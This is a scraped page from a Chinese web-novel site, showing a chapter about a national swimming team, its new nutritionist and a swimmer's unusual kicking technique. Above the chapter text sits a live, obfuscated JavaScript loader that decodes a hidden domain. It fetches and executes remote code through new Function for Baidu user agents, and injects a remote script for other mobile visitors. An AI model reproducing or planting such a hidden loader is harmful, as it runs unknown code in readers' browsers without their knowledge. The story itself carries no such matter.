妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

分卷阅读172(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

文浩慢了几秒,他仰头和叶书文对视,眼底羞愤的火苗还没退去,格外厌恶这种将别人的伤痛不当回事一样拿出来谈的人。在自己的性向上,他有自己的方式去调节,不需要任何人关心,插手!

叶书文的到来,带来了更加现代化、科学化的美式游泳教练方案,在校研究期间,他甚至跟随他的老师担任过菲尔普斯半年的运动营养师,在游泳运动员科学的进食和训练这方面,他的经验对急于回到世界舞台的中国游泳男队而言,确实是必须的。

游乐的训练和饮食被做了更加细致的计划,他的身高和与其最匹配的重量,合适的重量又该拥有多大的力量,这些力量每天在他的训练里会消耗多少能量,最后又该补充多少的卡路里。

叶书文交出来的是这么一份细致的甚至是苛刻的营养训练计划。

而且就像大部分的营养师一样,通常来说,叶书文会自己动手制作这些食物,中餐、西餐都很有一手,尤其是西餐,更是有到高档餐厅担任主厨的本领。

叶书文提到他的厨师证书的时候说,这都是他这些年“玩”出来的东西,因为有兴趣,就去学了,然后就考上了。

游明杰对此很是唏嘘,国家队退役那么多的队员,叶书文怕是这其中为数不多过的那么潇洒的人呢,既不急着结婚,也不急着开创事业,而是在寻找自己的兴趣爱好,活的很自由,无拘无束的让人羡慕。

叶书文只是笑着说,他毕竟有一个相对于宽裕的家庭环境,允许他去做这些尝试。

那之后,某天开完会,叶书文对游明杰说:“你队里的五个学生,除了乐乐和袁铮外,我最看好的,你知道是谁吗?”

游明杰笑了:“看来不是罗鸣,那么显然是文浩了?”

叶书文反问:“为什么不是白文斌?”

游明杰“呵呵”地笑了,白文斌这小子太混了,自己都没大志气,老师本事再好能教出来的也有限。

叶书文按压着骨节,若有所思,好一会才喃喃自语:“还有两个月,不知道能帮他到哪个地步呢?”

当然,叶书文虽然带来了更新的教练技术,可复制游乐打腿方法却更是国家队当务之急的一件事。

可惜,经过反复试验,事实证明这很困难。

队里采用陆地教学,录像教学,模拟教学等等方式,可是在他们看来,游乐可以轻松做出来的动作,在其他人身上却很难复制,甚至……是不可能的。

一位世界著名德国运动学专家在这期间也发表了一个研究报告,通过录像反复研究,对游乐打腿方式的惊呼奇迹!在报告指出,游乐的打腿交错的频率极快,比小西埃罗、弗雷德里克等世界名将都快了近三分一的频率,而且更让人难以置信的是,游乐每次打腿的角度一致,甚至距离水面几乎都是六厘米的距离,这种类似于机械一样的腿法,让人难以想象会在一个人类的身上出现。这位德国的运动学家,称这种打腿方式为“更有效打腿方式”,而他在报告最后为这种“更有效打腿方式”命名为——“中国游”。

这份报告,只在德国运动圈内交流,暂时还没有进入大众的视野,但是,也正是因为这份报告,游乐半年后有了一个独属于他,比“飞鱼”更特殊的称号,“中国游”。

一个月后,袁铮回来了。

那天,游明杰带着游乐去接的机,当行李放好,看着俩小伙儿都选择坐在了后座后,游明杰明显已经淡定了很多,无视两人可能牵在一起的手,问起了袁铮最后的特训效果如何?

在美国的最后一个月,袁铮进行了一场残酷得甚至变态的训练,琼斯教

分卷阅读172

-', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间